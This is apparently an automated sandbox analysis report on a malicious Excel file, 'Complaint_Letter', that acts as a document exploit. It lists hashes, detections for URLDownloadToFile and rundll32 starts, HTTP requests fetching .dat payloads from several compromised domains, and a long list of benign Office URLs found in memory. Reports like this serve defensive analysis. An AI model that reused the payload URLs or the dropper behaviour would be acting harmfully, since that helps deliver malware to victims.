Analysis Report Complaint_Letter_1186814227-02192021.xls

ID:	356762
Product:	CloudBasic
Start time:	16:22:58
Start date:	23.02.2021
Sample:	Complaint_Letter_1186814227-02192021.xls
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	888909141f8ad83f4509703b1bae7187
SHA1:	dab7c94aff5dbeabebf9d85c6b2e7f6e6ba98e18
SHA256:	f11a1405772bbb1aa0d1e55fc2faa77fe8a5541894e9617fbd8e6430c9e38731
Filetype:	Microsoft Excel sheet (30009/1) 78.94%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators	3C1D8F12573FD6C7E52B6329F7EDFF87	7BA5960B9BE9CE5F4935171A99EE89C79AE5E7EE	FDDC1DBFB8A9DD383B2DD3BDA07511495852DCC48C38444D21606BCD8514F780
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\44250683266319400000[1].htm	HTML document, ASCII text, with CRLF line terminators	4F8E702CC244EC5D4DE32740C0ECBD97	3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF	9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
C:\Users\user\AppData\Local\Temp\27B40000	data	72A29130C3EA8894099AD43974E9156D	3014FD2996AE7F3A7B28E4C0052766CD374C972C	73153934ABAB77F92E82C1A54B3ED434584029994ABE867243DD2142C34BC552
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Complaint_Letter_1186814227-02192021.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 06:35:54 2020, mtime=Tue Feb 23 14:23:54 2021, atime=Tue Feb 23 14:23:54 2021, length=61440, window=hide	411A6B96D476AC7C8847C12E8DAA3E48	617EC5E6474915B025CE1FEBFC00828D1843B27C	265A6737B90F2826CF66284F65B93C2FB66EC2BE55DEB5004DECF3926717B577
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 17:12:41 2019, mtime=Tue Feb 23 14:23:54 2021, atime=Tue Feb 23 14:23:53 2021, length=8192, window=hide	F82F11F31543E87ECC7C997AE1F2F3C6	3395985D15078F044434BE43B4BF81444C079D97	144C424D5547F92C6A43E926F7783BE914F3A16FD41966F5D5B673B2C5067FF3
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	CADBB04F8298E7962F40328079687B72	1927A0BC186777DBAAD977E3B7B593EC5D6E5E1B	6E08D3312DED62A53033BCCD48D8CB0AF4E52655C2BBEB7151FB690E4CBB7AC4
C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC	Little-endian UTF-16 Unicode text, with CR line terminators	7962B839183642D3CDC2F9CEBDBF85CE	2BE8F6F309962ED367866F6E70668508BC814C2D	5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
C:\Users\user\Desktop\E7B40000	Applesoft BASIC program data, first line number 16	B6FD661098CC725E56D7C8BC24434A5F	3B71686934165395C74CB0B1C5856529A402722A	BA1A3C63BF66A31A419CDD5207B2E51344B0C6D6B7898480F5E0D34F0901CAE8

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 159.89.174.35:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.126.100.34:443 -> 192.168.2.4:49737 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\rundll32.exe

Jump to behavior

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: parama-college.id

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.4:49733 -> 159.89.174.35:443

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 203.142.76.236:80

Networking:

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /yxpmmmg/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: parama-college.idConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zdmqwymhhza/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: raivens.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hmffuzbolyio/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: sportsmarquee.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /focahjqevd/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: erp.demosoftware.bizConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /gvazzbwlvyk/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: jayshreewoods.comConnection: Keep-Alive

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /yxpmmmg/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: parama-college.idConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zdmqwymhhza/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: raivens.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hmffuzbolyio/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: sportsmarquee.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /focahjqevd/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: erp.demosoftware.bizConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /gvazzbwlvyk/44250683266319400000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: jayshreewoods.comConnection: Keep-Alive

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: parama-college.id

Tries to download or post to a non-existing http route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Feb 2021 15:23:56 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://sportsmarquee.com/wp-json/>; rel="https://api.w.org/"Set-Cookie: cxssh_status=off; expires=Thu, 03-Jun-2021 15:23:56 GMT; Max-Age=8640000; path=/Keep-Alive: timeout=5, max=1000Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 62 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 53 70 6f 72 74 73 20 4d 61 72 71 75 65 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70 6f 72 74 73 6d 61 72 71 75 65 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 73 6d 61 72 74 2d 63 6f 75 70 6f 6e 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 73 6d 61 72 74 2d 63 6f 75 70 6f 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 2e 31 2e 32 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70 6f 72 74 73 6d 61 72 71 75 65 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 66 6f 72 6d 69 64 61 62 6c 65 2f 63 73 73 2f 66 6f 72 6d 69 64 61 62 6c 65 66 6f 72 6d 73 2e 63 73 73 3f 76 65 72 3d 31 31 31 34 31 36 31 32 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70 6f 72 74 73 6d 61 72 71 75 65 65 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 35 2e 35 2e 33 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70 6f 72 74 73 6d 61 72 71 75 65 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 76 65 6e 64 6f 72 73 2d 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 33 2e 36 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70

Urls found in memory or binary data

Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.aadrm.com/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.cortana.ai
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.office.net
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.onedrive.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://augloop.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://augloop.office.com/v2
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://cdn.entity.
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://clients.config.office.net/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://config.edge.skype.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://cortana.ai
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://cortana.ai/api
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://cr.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://dev.cortana.ai
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://devnull.onenote.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://directory.services.
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://graph.windows.net
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://graph.windows.net/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://lifecycle.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://login.windows.local
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://management.azure.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://management.azure.com/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://messaging.office.com/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://officeapps.live.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://onedrive.live.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://outlook.office.com/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://outlook.office365.com/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
